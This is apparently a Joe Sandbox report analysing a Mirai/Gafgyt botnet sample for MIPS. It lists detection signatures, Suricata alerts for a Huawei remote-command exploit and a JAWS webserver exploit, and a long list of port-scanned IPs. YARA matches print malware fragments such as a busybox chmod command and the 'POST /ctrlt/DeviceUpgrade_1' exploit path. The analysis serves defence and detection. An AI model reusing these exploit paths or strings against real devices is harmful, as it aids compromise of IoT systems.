Edit tour

Linux Analysis Report
boatnet.mips.elf

Overview

General Information

Sample name:	boatnet.mips.elf
Analysis ID:	1602912
MD5:	5fa448eea7882878f2cd6b3f95f03b4d
SHA1:	ea362d1efec710494439d73d95e0206d31d6104e
SHA256:	d6cd24b9a13a5c13f39d99bb38819eff21758e569d1646b9d2f1d117d1866720
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai, Gafgyt

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Gafgyt

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sample is packed with UPX

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

ELF contains segments with high entropy indicating compressed/encrypted content

HTTP GET or POST without a user agent

Sample contains only a LOAD segment without any section mappings

Sample listens on a socket

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1602912
Start date and time:	2025-01-30 10:42:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	boatnet.mips.elf
Detection:	MAL
Classification:	mal100.troj.evad.linELF@0/0@25/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: bot.nulling.io

Runtime Messages

Command:	/tmp/boatnet.mips.elf
PID:	5432
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

boatnet.mips.elf (PID: 5432, Parent: 5356, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/boatnet.mips.elf

boatnet.mips.elf New Fork (PID: 5434, Parent: 5432)

boatnet.mips.elf New Fork (PID: 5436, Parent: 5434)

boatnet.mips.elf New Fork (PID: 5438, Parent: 5434)

boatnet.mips.elf New Fork (PID: 5439, Parent: 5434)

boatnet.mips.elf New Fork (PID: 5441, Parent: 5434)

boatnet.mips.elf New Fork (PID: 5445, Parent: 5434)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x17648:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x17aae:$x2: /bin/busybox chmod 777 * /tmp/ 0x177d8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x172e0:$s3: POST /cdn-cgi/
5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x172e0:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x17648:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x17aae:$x2: /bin/busybox chmod 777 * /tmp/ 0x177d8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x172e0:$s3: POST /cdn-cgi/
5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x172e0:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Process Memory Space: boatnet.mips.elf PID: 5432	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: boatnet.mips.elf PID: 5432	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xbc4b:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: boatnet.mips.elf PID: 5436	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: boatnet.mips.elf PID: 5436	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x16bf:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Click to see the 13 entries

Suricata Signatures

ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-30T10:43:02.632208+0100	2030092	1	Web Application Attack	192.168.2.13	60200	191.252.94.92	80	TCP
2025-01-30T10:43:07.151030+0100	2030092	1	Web Application Attack	192.168.2.13	51918	64.110.107.109	80	TCP
2025-01-30T10:43:12.776526+0100	2030092	1	Web Application Attack	192.168.2.13	37368	172.87.219.38	80	TCP
2025-01-30T10:43:15.037154+0100	2030092	1	Web Application Attack	192.168.2.13	49166	129.69.90.222	80	TCP
2025-01-30T10:43:16.498143+0100	2030092	1	Web Application Attack	192.168.2.13	39900	41.77.144.211	80	TCP

ET MALWARE Mirai Variant User-Agent (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-30T10:43:01.155496+0100	2029034	1	Web Application Attack	192.168.2.13	34554	117.47.93.92	443	TCP
2025-01-30T10:43:02.632208+0100	2029034	1	Web Application Attack	192.168.2.13	60200	191.252.94.92	80	TCP
2025-01-30T10:43:07.151030+0100	2029034	1	Web Application Attack	192.168.2.13	51918	64.110.107.109	80	TCP
2025-01-30T10:43:12.776526+0100	2029034	1	Web Application Attack	192.168.2.13	37368	172.87.219.38	80	TCP
2025-01-30T10:43:15.037154+0100	2029034	1	Web Application Attack	192.168.2.13	49166	129.69.90.222	80	TCP
2025-01-30T10:43:16.498143+0100	2029034	1	Web Application Attack	192.168.2.13	39900	41.77.144.211	80	TCP

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-30T10:43:09.197465+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33892	156.231.1.6	37215	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: boatnet.mips.elf

ReversingLabs: Detection: 43%

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:34554 -> 117.47.93.92:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:60200 -> 191.252.94.92:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:60200 -> 191.252.94.92:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:51918 -> 64.110.107.109:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:51918 -> 64.110.107.109:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33892 -> 156.231.1.6:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:37368 -> 172.87.219.38:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:37368 -> 172.87.219.38:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:49166 -> 129.69.90.222:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:49166 -> 129.69.90.222:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:39900 -> 41.77.144.211:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:39900 -> 41.77.144.211:80

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 156.242.127.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.121.223.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.226.186.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.149.64.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.179.84.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.88.218.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.103.115.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.201.65.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.2.193.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.130.167.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.214.77.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.46.213.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.73.88.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.214.236.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.178.10.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.222.154.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.207.163.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.96.69.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.74.126.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.200.128.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.114.70.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.221.209.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.252.3.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.154.15.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.2.135.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.245.33.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.153.173.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.185.61.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.255.105.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.115.208.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.229.77.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.85.4.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.83.65.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.116.127.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.91.135.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.215.219.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.245.216.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.17.80.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.56.120.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.249.32.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.68.233.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.217.58.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.55.145.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.47.51.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.134.45.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.120.21.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.211.116.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.205.61.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.214.47.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.212.104.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.240.243.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.226.64.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.251.95.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.109.11.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.230.126.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.239.193.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.164.33.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.147.43.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.248.203.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.143.240.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.2.83.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.222.207.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.141.222.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.246.112.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.137.30.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.199.186.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.57.49.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.168.122.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.154.154.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.127.235.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.79.212.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.181.185.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.245.70.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.179.125.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.249.73.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.250.208.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.165.40.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.114.221.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.249.87.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.70.160.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.97.202.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.252.199.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.165.32.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.252.224.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.90.120.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.99.183.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.192.52.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.93.105.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.234.47.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.120.116.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.216.14.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.248.124.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.128.124.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.239.110.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.224.108.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.25.80.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.149.41.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.26.125.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.1.103.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.88.215.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.103.126.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.228.254.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.241.190.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.87.179.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.7.152.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.51.40.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.144.64.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.152.242.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.36.138.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.57.48.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.115.221.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.109.41.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.254.211.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.176.89.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.98.52.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.159.203.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.145.4.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.237.207.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.94.169.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.41.97.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.195.101.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.110.101.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.219.122.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.0.25.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.215.1.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.202.58.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.194.55.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.236.159.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.224.145.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.60.231.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.200.202.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.235.245.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.2.27.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.75.15.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.153.206.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.51.2.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.227.25.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.29.54.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.120.237.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.232.141.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.162.130.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.126.22.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.38.234.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.33.189.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.74.198.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.208.7.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.97.228.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.232.72.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.214.177.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.245.104.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.166.254.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.32.8.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.189.0.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.95.183.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.150.151.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.119.67.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.151.23.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.240.101.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.192.229.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.230.63.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.179.143.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.21.202.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.41.183.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.1.18.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.172.194.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.101.2.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.142.150.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.56.77.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.136.102.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.242.44.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.109.251.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.76.34.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.91.240.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.221.229.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.205.82.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.100.124.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.45.200.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.120.128.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.84.129.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.176.49.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.179.94.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.219.207.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.116.89.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.95.129.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.229.174.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.117.192.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.161.51.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.242.214.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.44.49.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.128.249.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.208.171.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.251.188.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.198.139.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.141.227.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.5.26.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.45.158.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.210.246.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.246.83.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.20.56.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.183.35.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.250.127.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.196.76.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.115.207.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.18.7.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.30.58.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.55.246.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.97.84.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.177.189.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.47.4.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.55.114.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.83.132.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.57.169.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.190.43.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.147.172.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.178.71.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.28.132.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.131.190.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.160.228.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.15.93.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.232.166.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.238.82.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.101.65.97 ports 1,2,3,5,7,37215
